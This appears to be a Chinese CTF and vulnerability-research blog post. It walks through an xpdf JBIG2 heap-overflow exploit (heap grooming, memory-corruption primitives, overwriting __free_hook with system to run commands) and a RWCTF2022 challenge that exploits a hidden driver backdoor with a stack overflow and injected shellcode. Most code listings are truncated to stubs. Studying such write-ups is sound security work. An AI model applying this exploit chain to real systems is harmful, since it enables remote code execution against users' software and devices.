整体流程大致如下:
1 | void JBIG2Stream::readTextRegionSeg(Guint segNum, GBool imm, |
通过阅读上面关于 Segments 的源代码,我们可以很容易的得知:在诸如 readGenericBitmap
等读入 bitmap 的函数中,hso 会尝试从外部 JBIG2Stream 流中,使用某种解码器来对读入的 bitmap 进行解码(例如代码中多次出现 arithDecoder->decodeInt
等调用)。
因此,作为提供外部 JBIG2Stream 流的我们,需要对写入至 pdf 中的 bitmap 做对应的编码操作。
从最上面的 JBIG2Stream::reset
函数中可以得知,一共由三种解码器:
而这些解码器的内部算法,如果要让我们徒手撸一个的话 ,那么做题效率就会非常低。因此,我们可以使用 jbig2enc
库来帮助我们完成数据编码操作,该库已经实现了 JArithmeticDecoder 状态机的编码算法,故我们无需了解内部细节即可完成对 bitmap 的编码过程。
1 | git clone git@github.com:agl/jbig2enc.git |
但是,该库是使用 C++ 编写的,若 exploit 也全部使用 C++ 完成,则工作量较高。因此,我们可以使用 pybind11 来暴露 jbig2enc 中的部分接口给 python,这样编写 exploit 时可以使用 python 语言来完成。
1 | sudo apt-get install pybind11-dev |
最后需要注意的是,由于 jbig2enc
的接口会使用到大量的指针,而将指针暴露给 python 接口调用是一个非常不明智的选择(因为如果让 python 来调用需要指针的接口,则会降低开发速度和提高触发 bug 的几率),因此我们最好根据当前的需求,即:
将 bitmap 数据以 JArithmeticDecoder 方式来进行编码。
来额外编写一个 wrapper C++ 代码,实现三个封装好的结构体/枚举:
ArithEncoder
:调用 jbig2enc 对 bitmap 进行编码的类Bitmap
:待被编码的 bitmap 数据ArithEncoder::Proc
:ArithEncoder
编码器的状态枚举最后将这三个结构体/枚举 暴露给 python 调用,避免让 python 直接操作指针。
这一小节所实现的代码,正对应于 exp 中的以下几个文件:
hso-groupie/exploit/jbig2arith.[cc,h]
hso-groupie/exploit/jbjbarith.[cc,h]
hso 在 read segments 时,首先会读取出每个当前 segment 的 段号 segNum、segFlags、refFlags 等一系列字段和标志,之后才是进行(可能的) bitmap 读取。
这些字段和标志同样是需要我们手动放进 JBIG2Stream 中。由于这里的字段和标志不需要使用解码器进行解码,因此可以手动编写代码将字段一个个放置进流中。
这一步的操作位于 exp 中的 hso-groupie/exploit/jbig2.py
,该脚本为所有用到的 segment 都编写了一个对应的 python 结构转 JBIG2Stream 字节流的操作;同时,上一节中暴露给 python 所调用的 bitmap encoder 接口,也是在该脚本中所使用。
这样,当我们使用 python 设计好一个个特定的 segments 后,我们便可以将这些 segments 快速转换成 JBIG2Stream 流数据,方便快捷。
先放上这张镇楼图:
为了利用这个堆溢出漏洞,我们需要充分发动堆风水,将指定的结构放至对应的堆块。这里,我们的堆风水需要完成以下几个目标:
让 pdf 在解析 TextRegionSeg 时,其创建的 syms 指针数组位于 undersized syms buffer
处
让内含存放超多指针的 JBIG2SymbolDict 结构体的 segment 放置在 segments GList backing buffer
处
这里,我们打算让 JBIG2SymbolDict 结构体存放至 global segment 中,因为 SymbolDictSegment 不依赖与任何的 Segments,但是后续的 TextRegionSegment 会依赖这些 SymbolDictSegment。
让 pageBitmap 结构体占据图中 JBIG2Bitmap
那块内存,并让其 data 占据图中上面 bitmap backing buffer
那块内存。
通读代码,我们可以得知绝大多数 segments 在解析时,都可以让其 bitmap 与 pageBitmap 进行运算,并将结果保存在 pageBitmap 上。因此让 pageBitmap 拥有越界读写的能力是最好的选择。
我们先尝试在 global segment 中分配三个不同 Bitmap 大小的 SymbolDict 出来。这里分配不同大小的 SymbolDict 是为了后续在 TextRegionSeg 中,排列组合 size 至溢出,因此这三个堆块的位置不需要关心:
1 | # global segment |
其中
size_to_overflow
为上图中overflow
的字节数,具体计算过程稍后介绍。
此时我们看看分配完这三个 SymbolDict 后的 bins 是什么情况,可以看到有大量的碎片堆块:
1 | bins |
这些碎片堆块对于接下来的堆风水是相当不利的,因此需要将其全部分配掉。这里使用的是 PageInfoSeg
来分配内存,因为通读代码可以发现 JBIG2Stream::readPageInfoSeg
函数除了分配一个堆块以外,没有产生其他任何影响:
1 | def DummyAlloc(size): |
分配后的 bin 如下所示,可以看到清爽了不少:
1 | bins |
那么接下来的问题是,如何设计堆风水?exploit 给了一个清晰明了的做法:
利用 global segment GList 满则扩增的特性创建堆空洞,进而让其他结构体来占据这些内存空洞,完成堆风水。
什么意思呢?我们看看 GList 的一些类方法:
1 | GList::GList() { |
可以看到,初始时 GList size 为 8。当 GList 中元素个数超过容量时,GList 容量将会双倍扩增。也就是说,初始时的 size 为 8,下次扩增后的 size 是 16,再下次扩增后的 size 为 32,再下下次的 size 为 64(单位,个指针)。
扩增所使用的堆函数为 realloc
,即当 GList 容量扩增后,原先那个堆块将被释放。同时又因为上面已经将其余全部小堆块全都分配出去了,因此 GList 容量扩增所分配的新堆块,一定来自于 top chunk,这就能保证每次 GList 容量扩张时,新堆块的分配顺序一定是从低地址向高地址分配。
因此尝试让 global segment GList 多次扩展,从 8 扩展至我们所需要的最终大小 64:
代码中的 glist_capacity == 32。个人认为这个数表示的是第几次 append global GList 时会扩充 GList size 至 64。
1 | global_file = [ |
global segment 的堆风水执行结束后,其堆布局大致如下:
注意 segNum 从 3 开始的 Symbol Dict,其结构体所分配的堆块(chunk size = 0x40)也是直接来自于 top chunk 。
1 | // low address -------------------------------------------- |
接下来,只需分别
让 pageBitmap backing store 占据 size=16 的 Glist 堆空洞
让解析 TextRegion 时创建的 syms 指针数组占据 size=32 的 Glist 堆空洞
即可完成堆布局。
pageBitmap 的 JBIG2Bitmap 结构体堆位置在下文中将会说明。
最后贴个 gdb script,可以使用该 gdbscript 辅助观察内存布局:
1 | file ../../xpdf-4.03/build/xpdf/pdftohtml |
global stream 中的解析操作是为了创建堆空洞,那 main stream 的解析操作就是为了占据堆空洞。
承接上文,接下来我们试着分配一个全新的 pageBitmap 结构,并让其 backing store 占据 size=16 的 Glist 空洞:
代码中的 GLIST_DATA_SIZE = 0x200,表示 size=64 时 global glist data 占据的字节数。
1 | page0 = [ |
此时堆布局如下:
1 | // low address -------------------------------------------- |
这里简单说一下 pageBitmap 结构本身的堆块分配(JBIG2Bitmap),由于其 size 0x20 在堆链上找不到可分配的堆块,因此将仍然从 top chunk 中分配,故其地址位于 size=64 的 Glist 位置的高地址处,满足堆风水要求。
接下来需要在解析 TextRegion 时继续占用 size=32 的 Glist 堆空洞。因此 TextRegion 中创建的用户内存大小必须是 syms_size = GLIST_DATA_SIZE // 2
,正好对应到 size=32 的 Glist 堆空洞大小。
但在做进一步的利用之前,我们需要绕过一个比较有趣的 sanity check:
1 | // sanity check: if the w/h/x/y values are way out of range, it likely |
xpdf-4.03/xpdf/JBIG2Stream.cc
中多次出现上面的这种 sanity check,判断当前正在处理的 w\h\x\y 是否越过了当前的 pageW 和 pageH(两个 JBIG2Stream 类的成员变量,用于表示当前 page 的宽度和高度),如果越界则说明当前解析过程可能存在问题,那么则立即停止解析当前 segment。
看上去好像这个 sanity check 没啥问题…
但实际上,我们回过头看看 readPageInfoSeg
函数的代码:
1 | void JBIG2Stream::readPageInfoSeg(Guint length) |
我们可以非常容易的发现, 即便 readPageInfoSeg
函数中检测到了 pageW
和 pageH
的异常,但也只是简单的退出掉当前 seg 的解析,保留了畸形 pageW
和 pageH
的值在 JBIG2Stream 类成员中。
这样,我们可以尝试插入一个超大 pageW 和 pageH 的 PageInfoSeg,从而污染这两个字段为超大值,bypass 后续所有新增加的 sanity check:
1 | page0 = [ |
bypass 掉这个 sanity check 后,接下来就可以尝试创建 TextRegionSeg 来进行堆溢出了。承接上面所说的,这里所创建的 TextRegionSeg 需要满足几种要求:
size_to_overflow
个字节,即实际写 size_to_overflow // 8
个指针因此接下来在 main stream 中,需要合理组合 TextRegion 所引用的 Symbol Dict 大小:
1 | # Trigger the out-of-bound write. |
上面代码的组合中,
$$size_to_overflow / 8 + {0x10000 + (syms_size - size_to_overflow) / 8} + 0xffff0000 = 0x100000000 + syms_size/8$$,即刚好分配 syms_size 个字节。
又因为先 ref 的那个 Symbol Dict 的大小为 size_to_overflow // 8
个指针。因此当 readTextRegion 解析第一个 ref 的 Symbol Dict 时,刚好向 syms 堆块中写入 size_to_overflow
个字节,直接溢出至 pageBitmap JBIG2Bitmap 结构体头部位置,如此便能达到溢出的目的。
这里说明一下 size_to_overflow 是怎么得出的,先上堆布局:
1 | // low address -------------------------------------------- |
根据堆布局可得知:
1 | size_to_overflow = ( |
之后,将 readTextRegionSeg 中刚刚被释放掉的那个 syms_size 大小的堆块再次分配回来,防止在后续的利用中出现可能的崩溃。
1 | # Take back the free-d syms, hold it to prevent potential crash. |
由于越界写入 pageBitmap JBIG2Bitmap 结构体头部位置的是指针值,可以越界读写的数据有限,因此我们需要根据这个有限的 pageBitmap 越界读写原语,来自己修改自己的 JBIG2Bitmap 结构体头,将其中的 w\h\line 修改的更大,扩展自己的读写范围。根据上面的堆布局,同样可以得出 page_bitmap_buf
至 pageBitmap JBIG2Bitmap
的距离:
1 | page_bitmap_buf_to_class_offset = ( |
之后将其 w\h\line 分别更改为 $w=2^{27}$、$h=2^{24}$、$line=2^{24}$:
imm 为 true 表示即时渲染,即立即修改 pageBitmap 上的指定位置。
1 | # Overwrite pageBitmap->w, h and line |
修改后的 pageBitmap 的二维空间构造:
1 | +------------------> w=2^27 bit |
最后创建带有 16 个 Bitmap 的 SymbolDict ,以备接下来的利用所使用:
1 | # 16 "variables". Since we can only do bitwise operations relative to page bitmap |
这些 SymbolDict 将用于地址解引用原语中,具体在下面会详细介绍。
整体的堆风水布局大体如上所示。完成堆溢出后,pageBitmap 具备了大偏移读写的功能,因此接下来就要开始写原语利用了。
还记得先前介绍的 GenericRefinementRegionSeg
么(不记得就翻到上面看看),接下来我们需要利用这个 seg 的特性来编写任意位的位运算器。
exploit 中实现的位运算器如下所示:
1 | class BitSeg: |
原语
bitop
的oa
、ob
两个参数的单位为 bit,op
有 5 种。
bitop 原语初始时将一维偏移量 oa、ob 分别映射至 bitmap 的二维偏移量 xy1、xy2,之后在解析 ob 对应的 RefinementRegionSeg 时,从 pageBitmap 中取出对应 xy2 的数据,并将其存入 segments 中。
一维偏移量向二维偏移量映射时,为什么使用的是 2^27 作为除数/模数呢?因为这是上面所修改后的 width 的大小。
接下来当 hso 解析 oa 对应的 RefinementRegionSeg 时,hso 会重新读入先前存入的 ob 对应的 RefinementRegion,并将其与 pageBitmap 特定 xy1 位置进行位运算,达到指定 pageBitmap 上任意两位之间进行位运算的目的。
这里需要注意的是,findSegment 查找算法的核心,是依次遍历 segments 列表的元素并比对 segNum 来进行查找。因此每次添加进 segment 的 RefinementRegion,其 segNum 一定不能与之前 append 进去的 segments 相同!
当位运算原语 binop
可用后,接下来就可以构建其他原语:
1 | bitwise_mov = lambda a, b: bitop(a, b, CombOp.Replace) |
这里的 op_q_q
原语,其 oa、ob 参数的单位为字节(注意和 binop 的单位并不相同)。
op_q_q
原语的目的,是对给定 oa
和 ob
的相对一维偏移字节所对应的两个位置,做一次8字节位运算。
举个例子,原语 and_q_q(0, 8)
,执行的操作为:
这个原语其实很好理解,只是用文字记录下来感觉不太好记录,也可能是我文笔不太好。
之后便是通过位运算来构建8字节全加器,可以先看看这篇文章再看看代码:
1 | # Don't worry, Libra won't hu^W^W^W Xpdf allocates 1 more byte |
其全加器结构如下所示:
除了上面所介绍的位运算原语以外,还有加载外部立即数计算的原语。
1 | def op_q_imm(offset, imm, op): |
readGenericRegionSeg 方法可从外部 JBIG2Stream 流中读入一个 bitmap 并将其与 pageBitmap 上的特定位置进行运算,因此 GenericRegionSeg 可用于此处的立即数运算原语。
当我们有了某个指针的绝对地址后,我们如何将这个指针从该绝对地址中读取出来呢?这就需要用到地址解引用操作。这里,exploit 准备了两个原语:
rebase_variable_q
:将 pageBitmap 中一维偏移为 addr_page_offset
处的 8 字节数据,复制进堆风水中最后一步所创建的带有 16 个 Bitmap 的 SymbolDict 中,第 idx 个 JBIG2Bitmap 的 data 字段上:
注意,是直接将值覆盖在 JBIG2Bitmap 的 data 字段上,而不是写进 data 指针所指向的内存上。
1 | def rebase_variable_q(idx, addr_page_offset): |
load_variable
:读取最后一个 Symbol Dict 中,第 idx 个 JBIG2Bitmap backing store 里的(即 data 指针解引用后的内存上) 的第一个 8 字节数据,至 pageBitmap 中一维偏移为 to_page_offset
处的 8 字节内存位置。
1 | def load_variable(to_page_offset, idx): |
这两个原语一结合,就能达到地址解引用的目的。
各类原语已经都准备好了,接下来便是结合这些原语覆写 free_hook 为 libc_system 的地址。
首先,我们需要 leak 一个地址出来(这个地址自然不能是堆地址),通过查看堆布局:
1 | // low address ..... |
可以看到紧临着 pageBitmap 的便是 SymbolDict,因此我们可以尝试读取其虚表指针。
1 | # vtbl of a JBIG2SymbolDict adajacent to page bitmap buffer |
之后从外部读取一个相对偏移至 pageBitmap data + 8 的位置:
1 | # 计算出-vtbl_offset + free_got_offset |
然后再简单做个加法,就能得到 free 条目在 GOT 表上的绝对地址,放到 +0 处:
1 | # 计算vtbl地址+(-vtbl_offset + free_got_offset)得到free_got的地址,放到+0处 |
接下来,尝试对该 free.got
地址进行解引用,获取 free.libc
地址:
1 | # 从+0处取出free_got的地址,放到第0个"变量"data 指针处 |
在获取到 free.libc
地址后,读入一个相对偏移并做个加法,经过简单几步,我们便能得到 free_hook
和 libc_system
的绝对地址:
1 | # 把LIBC_FREE_OFFSET这个立即数的值放到+0处 |
注意,此时 pageBitmap->data
上的数据为:
1 | +0: free_hook_address +8: libc_system_address |
接下来便是计算 pageBitmap->data + 8
的地址,即存放着这个 libc_system_address
值的内存地址:
1 | # 取出pagebitmap的data指针,放到+24处 |
计算出这个内存地址的用处是什么呢?继续向下看,注意重头戏快到了:
1 | # 取出pagebitmap的data指针的值放到第0个变量的 data 字段 |
这样,此时的 free hook 便被改写成了 libc_system 的地址,接下来便是尝试执行命令。
这里再 append 一个 带有待执行命令的 bitmap:
1 | page0.append( |
这样当 readGenericRegionSeg
函数结束时,新创建的 bitmap(即带有命令的 bitmap)将会被 free 掉,这样就可以触发 system(command)
:
1 | void JBIG2Stream::readGenericRegionSeg(Guint segNum, GBool imm, |
但有两点需要注意:
imm 必须为 true,这样才能触发 delete 操作。
创建的 GenericRegionSeg,其二维偏移 xy 映射至一维偏移后的偏移量,不能小于 64(即 8 字节)
这是因为代码中会先执行 pageBitmap->combine
再执行 delete bitmap
操作。此时的 pageBitmap->data
为 free hook address,如果执行 combine 时修改了pageBitmap->data
最低的8个字节,那么 free 时就无法调用到 libc_system,因为保存在 free_hook 上面的 libc_system 地址被破坏了。
这里是复盘 RWCTF2022 中 FLAG 题时所写下的一些笔记。
由于这题较为复杂,因此需要单独开一个博文来记录。
联合作者:sakura
1 | FreeRTOS+LwIP+ARM+GoAhead |
这一题是多个部件组成的一个二进制文件,其中
题目给了一些附件,其中有用的主要有:
flag.py
:docker 服务会在 每30s 向接口 http://localhost:5555/action/backdoor
发送一次 GET 请求,如果:
{'status' : 'success'}
则 flag.py 将会加载 flag 并且以 {"flag": flag}
的形式发送给该 backdoor。
很明显,我们需要 pwn 掉这个 binary,伪造一个 backdoor 服务、尝试接收传来的 flag 并输出给用户。
flag.bin
:题目的二进制附件,这个暂且略过不表。
dockerfile
: 其中记录了 qemu 的启动参数:
1 | qemu-system-arm \ |
把题目启动之后,访问 localhost:5555
,即可访问到题目 Web 服务的登录界面:
接下来输入账号admin
、密码admin
,进入到一个普通的小游戏页面,看上去没什么特别的,估计不是重点;直接访问 backdoor 接口,返回 404
界面。
如果想退出 QEMU, 则在启动 qemu 的终端里,先键入 ctrl + a
,之后抬起这两个键,并接着按下 x
即可退出。
下载并安装 IDA BinDiff 插件 - download link (ladder needed)
网上的教程里描述了安装该插件时需要指定 IDA 安装路径,但是本人实测安装时并没有要求指定 IDA 安装路径,但是 IDA 仍然可以识别并加载 BinDiff 插件。
BinDiff 将用于恢复 GoAhead 符号。
下载多架构 gdb:
1 | sudo apt-get install gdb-multiarch |
调试 kernel 的方式:
-gdb tcp::1234
gdb-multiarch
执行 target remote localhost:1234
连接 qemu如果我们直接把题目内核拖入 IDA 中,IDA 是无法识别的,因此需要确定并指定加载基地址。
基地址的确定本身就是一件比较难的事情,需要逻辑推理+大胆猜测。
我们先将 flag.bin 拖入 32 位 IDA(注意是32位) ,指定 Processor Type 为 ARM Little-endian:
之后对前几条指令执行 make code 操作(快捷键 p 或者 c),会生成一系列的内存地址加载指令:
注意到这几条访问内存地址为 0x6001XXXX
的指令,结合 gdb 调试断下的指令位置为 0x60010658
:
因此我们可以大胆推断基地址应该为 0x60010000。
加载基地址确定好后,就可以为 IDA 重设基地址。
之后 IDA 便可以分析出部分代码等:
接下来还需要全选IDA中的代码+数据,并右键点击 Analyze 进行完整分析,等待它分析完成。
但是这里的分析不会完全的进行分析,因此还需要使用这个 firmware-fix 脚本来进行二次分析,执行自动创建函数体、字符串等操作。(确定了代码区末尾地址为 0x6006F544
)
注意:该脚本无法区分出不同的段,因此在这一题中效果一般般… 会把一些明显是数据的东西恢复成函数。
感兴趣可以看看源码,不长。
执行完成上面的步骤后,仍然有相当一部分的字符串无法使用交叉引用,暂且先这样。
需要注意的是,IDA 的反编译引擎 Hex-Ray 需要参考 segment 的信息来生成 C 代码(例如RWX权限情况),因此我们最好恢复一下。最简单的方式就是把当前这个 ROM 段权限直接改成 RWX,不过本人根据恢复结果创建了一个 text 段。
现在我们可以尝试恢复 GoAhead 符号。首先通过字符串搜索 + 交叉引用找到 GoAhead 相关的函数:
注意:如果该函数的反汇编无法直接 F5, 则找到该地址的上一个函数的末尾地址,并右键点击 Create Function ,之后再反编译即可。
该函数最后一行有一个字符串说明了 GoAHead 的版本号,为 5.1.5
,因此我们可以立即编译一个 5.1.5 的 GoAHead 二进制文件:
这里可以指定使用 arm32 编译器来生成 libgo.so,这样 bindiff 效果会更好。
1 | git clone https://github.com/embedthis/goahead |
将该 libgo.so 目标文件拖到 IDA 里,生成 libgo.idb 数据库文件。之后在开启 flag.bin 的 IDA 中,使用 BinDiff 插件与 libgo.idb 进行比对。
通过简单的对比,发现 Similarity 大于 0.80 的函数基本上和 libgo.so 的反编译结果能对上,因此我们可以尝试恢复这部分函数的符号上去:
注意,BinDiff 可以通过比较基本块关联、反编译代码关联等来进行比较,因此即便用于比较的两个文件是不同架构的,该插件仍然可以比较并输出结果。
下图是我恢复 similarity > 0.40 的操作,注意最好不要像我这么冒险,恢复相似度非常低的函数。
接下来需要恢复 GoAHead 结构体定义:在 libgo.so 的 IDA 界面中,点击 File -> Produce file -> Create C Header File
将一些结构体定义输出至新的头文件中;之后在 flag.bin IDA 界面中,点击 File -> Load file -> Parse C header file
导入该头文件。
题目在启动时便给了版本号:
1 | lwIP-2.1.3 initialized! |
首先下拉代码并编译:
1 | git clone https://git.savannah.nongnu.org/git/lwip.git |
make 时遇到各种头文件缺失问题,首先 down 一个 RTOS 源码下来:
1 | # 在 lwIP 的同级目录下 |
之后给 lwIP 打上这个 patch:
1 | diff --git a/CMakeLists.txt b/CMakeLists.txt |
之后重新执行上述的编译操作即可。
但是这样编译出来的竟然是静态链接库,没法拖到 IDA 里分析,因此还需要修改一下 CMakeList 中的东西:
1 | diff --git a/src/Filelists.cmake b/src/Filelists.cmake |
然后编译报错,提示 :
1 | /usr/bin/ld: errno: TLS definition in /lib/x86_64-linux-gnu/libc.so.6 section .tbss mismatches non-TLS reference in CMakeFiles/lwipcore.dir/src/api/if_api.c.o |
将某个头文件中的 extern errno
替换掉即可:
1 | diff --git a/src/include/lwip/errno.h b/src/include/lwip/errno.h |
成功编译出 .so 动态链接库。之后照着上面的步骤恢复符号即可。
后来才发现,这里恢复 lwIP 符号的操作并没有什么用处,纯当是踩坑记录了。
接下来可以看看字符串表中有哪些有用的信息:
看上去都很有趣,但是都找不到交叉引用(恢复的还是不够好)。
不过可以通过全局搜索字符串的地址来找到引用的地方。
继续向上交叉引用,找到该函数,可以看到注册了一个 submit 动作,其事件处理例程就是上一个找到的函数。继续交叉引用发现除了注册了 submit 动作以外,还注册了 login 和 logout 动作,不过这两个动作看上去用处不大,暂且忽略不看。
那如何调用这个 submit 呢?通过字符串搜索可以得出 /web/submit.jst
这个路由路径,因此我们可以通过访问 http://localhost:5555/submit.jst
URL 来进入这个页面:
通过先前的逆向过程和网络抓包可以得知,GoAHead 会使用到 Session 技术。因此若我们在该界面提交一串数据后,当我们下一次再访问这个界面,则先前提交的数据将仍然会显示在这里。
submit 接口暂时告一段落。根据打题的师傅所说,GoAHead 除了增加 submit 功能以外,其余部分基本没动过。根据我进一步所查询的资料,backdoor 应该是位于 RT-thread(一个国产 RTOS) 中 lwIP模块 的 smc911x 驱动中…
沉思,这个 backdoor 其他师傅们是怎么找出来的…
这里直接开天眼,backdoor 位于地址 0x6001B024
中(smc911x_eth_rx 函数,用于接收数据包),以下是 IDA 反编译+自己简单恢复符号后的结果:
1 | int __fastcall smc911x_emac_rx_backdoor(int a1) |
而这是该函数的源码(注意函数版本不同,会带来一些差异):
1 | /* reception packet. */ |
对照可以得出,backdoor 触发条件如下:
backdoor
字符串)相等这样就可以触发一个向 0x64 大小的数组覆写 0x202 大小数据的缓冲区溢出漏洞。
由于该题没有 NX、PIE、ASLR 等保护,因此我们可以通过缓冲区溢出来劫持控制流,执行我们的 shellcode,然后一定要在 shellcode 执行完成后恢复函数的栈数据等,并跳转回之前的函数。
实时操作系统没有内核的概念,因此如果运行时环境被破坏,控制流无法继续执行,则整个操作系统将立即重启/终止,无法继续执行。
这里,我们需要精心设计 shellcode,这里列出两种解法:
手动注册一个 action/backdoor 对应的事件处理例程和路由,将传入的 flag 直接复制至别的文件数据(例如 /path/to/file1
)中,这样当 health checker 将 flag 传给 action/backdoor
时,我们便可以通过访问 /path/to/file1
直接获取到 flag。
patch 掉错误界面的显示,使其一直显示 {"status" : "success"}
和返回 HTTP200 状态码。之后 patch 错误界面显示相关的代码,使其引用存在题目内存中的 flag,这样当我们下一次访问错误界面时,即可读取到内存中的 flag 并将其返回给网页前端。
这里选择第一种方法(挑战一下),手动注册 action/backdoor 的事件处理例程和路由。
通过动态调试得知:
根据上面的分析,我们可以编写出以下的代码来触发漏洞:
1 | #! python3 |
还记得漏洞触发必须在 4s 内完成,因此编写了该 gdb script 辅助调试:
1 | target remote localhost:1234 |
执行效果如下,可以看到成功栈溢出:
1 | Breakpoint 1, 0x6001b1b4 in ?? () |
并将机器打崩:
打崩后,先按下
ctrl + a
,松手再按下x
以关闭 QEMU 。
重新调试回到栈溢出的函数调用位置。注意调用函数时,函数传参分别是 R0、R1、R2。
之后我们需要将当前栈上的数据 dump 下来,并在栈溢出时完整的覆盖回去,保证栈数据的完整性。因为覆盖长度为 0x202,一定会覆盖到下面的栈帧,因此务必恢复,否则可能会导致 crash。
需要注意的是,栈溢出能给自己写 shellcode 的空间很有限,只有大约 0x20,因此我们必须用其他方式来上传自己的 shellcode,然后在栈溢出这里只修改返回值来达到跳转执行的目的。
而上传 shellcode 可以用之前 GoAHead 扩展的 submit 方法,动态调试可以得知存放 submit message 的内存地址。
但是,栈溢出跳转时,跳转的 shellcode 地址不是这个 v4,因为当栈溢出时,v4 这块内存已经被覆写了:
那该如何获取到 shellcode 的地址呢?我们可以在 shellcode 前增加一些字符串,例如 “ShellcodeHeader”,然后使用 gdb 命令 find 全局搜索内存来找到 shellcode 地址:
1 | find 0x60000000, +0x4000000, 'S','h','e','l','l','c','o','d','e' |
查询结果如下。注意下面的 shellcode 被 URL 转码了(这就是另外的问题了):
或者逆向
websSetSessionVar
函数,找到复制出的字符串地址也是可以的。
还有一点,将 shellcode 进行 submit 操作之前,一定要对当前会话进行 login 操作,否则内存中将无法搜索到 shellcode。
shellcode 要做的事情主要有两件:
执行 websDefineAction("backdoor", backdoor_handler)
注册处理例程。其中 :
1 | websDefineAction address: 0x6004D28C |
“backdoor” 字符串无需持久化,因为该字符串会在执行 websDefineAction
时被拷贝进哈希表中。
但 backdoor_handler 需要持久化,因此务必将其拷贝至一个稳定的地方(例如文件系统中,这里我选择将 handler shellcode 复制进 /login_err.html
+ 0x200 的位置,即 0x606D3aD0)
backdoor handler 需要做的事情有几件:
将 checker 可能传入的 flag 复制至 404 界面。
返回一个 200 {“status”:“success”} 界面
1 | static void backdoor_handler(Webs *wp) |
这里返回 200 OK 数据的写法,主要参考 goahead/blob/master/test/test.c#L327 的写法:
1 | /* |
执行 websAddRoute("/action/backdoor", "action", 0)
重新注册路由表。
1 | websAddRoute() addr: 0x600636A0 |
注意第三个参数为 0,由于路由表是以数组形式顺序访问,因此将 pos 设置为 0 可以将目标路由放至第一个。
踩过的坑:先前重新注册路由表,是打算先覆写 route.txt
,再执行 websLoad("route.txt")
。但是后来阅读源码,发现这样做太过于麻烦:
1 | /* |
通读源码可以看到,我们只需执行 websAddRoute("/action/backdoor", "action", 0)
,即可成功将 backdoor 路由注册进路由表中。而且还可以指定第三个参数,将 backdoor 路由放置进路由表的最前端。
默认情况下 route 的其他字段为 -1,因此 route 中的 dir、protocol、methods 等不会参与路由匹配。所以下面那个 websSetRouteMatch
函数我们可以不用手动执行。
继续写 exp 时遇到了一些问题:
submit 的 shellcode 会被 GoAHead 进行 URL 编码:
因此在发送 submit 请求时,需要加上 HTTP header 显式告知 GoAHead 无需编码:
1 | "Content-Type":"application/x-www-form-urlencoded" |
需要注意的是,既然都标上这个了,发送的 data 就不能是 json 了(即不能发送 {'word': shellcode}
),因为这还是会让远程忽略该 header 进行 URL 编码。
pwntools 编码 shellcode 时报错:pwnlib.exception.PwnlibException: Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, encoding = 'latin', endian = 'little', log_level = 10, os = 'linux')
这是因为我的机器上没有安装 ARM 编译相关的环境等等,执行以下命令安装即可:
1 | sudo apt-get install binutils-arm-linux-gnueabi |
gdb pwndbg 中, p/x $fp
显示的是 $sp
的值,但实际上 $fp
和 $r11
是同一个寄存器,有点奇怪,可能是 gdb bug。
若出现以下情况,则需要重启 linux(重启 qemu 已经没用了),或者直接进 docker 中调试:
gdb find 出来的 shellcode 地址不固定
每次执行时栈溢出所在栈上数据,有好几个指针的值每次都不同
根据本人调试,每次栈上数据最多只会有一个非指针值发生改变,并且不影响程序执行。
没试过远程,因为远程关了…
1 | #! python3 |
效果:
这题的题解如上文所示,到此为止。接下来我们来简单扩展一下内容。
这一题 FreeRTOS 中的 lwIP 协议栈模块,是使用的 RT-thread (国产 RTOS)中的 lwIP 。
根据出题人的想法,使用 RT-thread 中的 lwIP 是为了便于调试。
出题也不容易…
lwIP 是一个小型开源的 TCP/IP 协议栈,重点是在保持 TCP 主要功能的基础上减少对 RAM 的占用,适合嵌入式系统。RT-thread 中,协议栈的驱动架构图如下:
RT-thread 在原版 lwIP 的基础上,新增了一个网络设备层。该层对以太网数据收发采用独立双线程结构。
当以太网硬件接收到数据报文后,硬件会将数据放入缓冲区,之后触发硬件中断。所注册的中断处理例程会发送邮件(mail)通知数据接收线程 erx ,使其根据报文长度申请 pbuf、读入数据,并在数据接收完成后,继续发送邮件唤醒 TCP/IP 线程进行进一步的处理。
当有数据需要发送时,lwIP 会通过邮件向 etx 线程发送请求,之后永久等待 tx_ack 信号量,等待数据发送完成。而当 ext 线程数据发送完成后, tx_ack 信号量将会被设置,通知 lwIP 数据已经发送完成。
接下来,我们来简单看看这个数据收发的过程。
初始时,RTOS 中控制流会执行 lwip_system_init
函数来进行一系列的初始化操作。
1 | /** |
该函数:
eth_system_device_init_private
初始化 erx 和 etx 线程。tcpip_init
创建 tcpip 线程。这里我们只关注 eth_system_device_init_private
函数,该函数只做了两件事:创建 etx 和 erx 线程,并创建对应的邮箱。
1 | int eth_system_device_init_private(void) |
我们看看 erx 线程主要干了什么事情:
1 | /* Ethernet Rx Thread */ |
从代码中可以得知,该线程会循环读取邮箱 -> 从 device 中读取数据 -> 把读取的数据传给 TCPIP 线程这样的一个过程。
而另一个 etx 线程主要用于和硬件打交道,将 TCPIP 线程发至 etx 线程的数据转发给具体的 device 执行发包操作,待发包完成后发送 ack 回 TCPIP 线程:
1 | /* Ethernet Tx Thread */ |
上面是 lwIP 中关于 etx 和 erx 线程的初始化。实际的数据收发操作都是由具体的硬件来完成,那硬件是怎么注册的呢?
这里以 qemu-vexpress-a9
设备为例(没错就是 flag 题所用设备)
根据以下调用链:
1 | /** |
我们可以找到函数 rt_components_init
的实现:
1 | /** |
这里,是不是很像先前使用 IDA 反编译 backdoor 向上找交叉引用的地方?
我们可以看到,该函数会遍历从 __rt_init_rti_board_end -> __rt_init_rti_end
上的每个函数指针,并执行。这两个函数指针代表了什么呢?阅读一下相关的代码和注释:
1 | /* |
还有这个宏定义:
1 |
|
可以得出结论:对于编译出来的二进制文件中,存在一个数据段,名为 .rti_fn
。这个段上存放着一些函数指针,用于初始化一系列设备等等;而刚刚所说的两个函数指针所表示的是注册在这个段上的两个函数指针,用于标识段上特定类型函数指针的位置。
这里我们可以看到,使用宏 INIT_APP_EXPORT
声明的设备,其函数指针也会存放在 __rt_init_rti_board_end -> __rt_init_rti_end 这个范围。
也就是说使用 INIT_APP_EXPORT 声明的设备,其初始化函数会在
rt_components_init
中执行。
接下来我们看看 smc911x
设备驱动,也就是 backdoor 所在的设备驱动 (bsp\qemu-vexpress-a9\drivers\drv_smc911x.c
)。
可以看到,该文件中存在这样的一条语句:
1 | INIT_APP_EXPORT(smc911x_emac_hw_init); |
也就是说 smc911x 设备将初始化函数 smc911x_emac_hw_init
注册进了 .rti_fn
段中,等待被函数 rt_components_init
所调用。
而 smc911x_emac_hw_init
函数源码如下:
1 | int smc911x_emac_hw_init(void) |
该函数主要设置了一些操作(ops),例如 smc911x_emac_init
、smc911x_emac_rx
、smc911x_emac_tx
。我们可以看到该函数为结构体 _emac
设置了 eth_rx
和 eth_tx
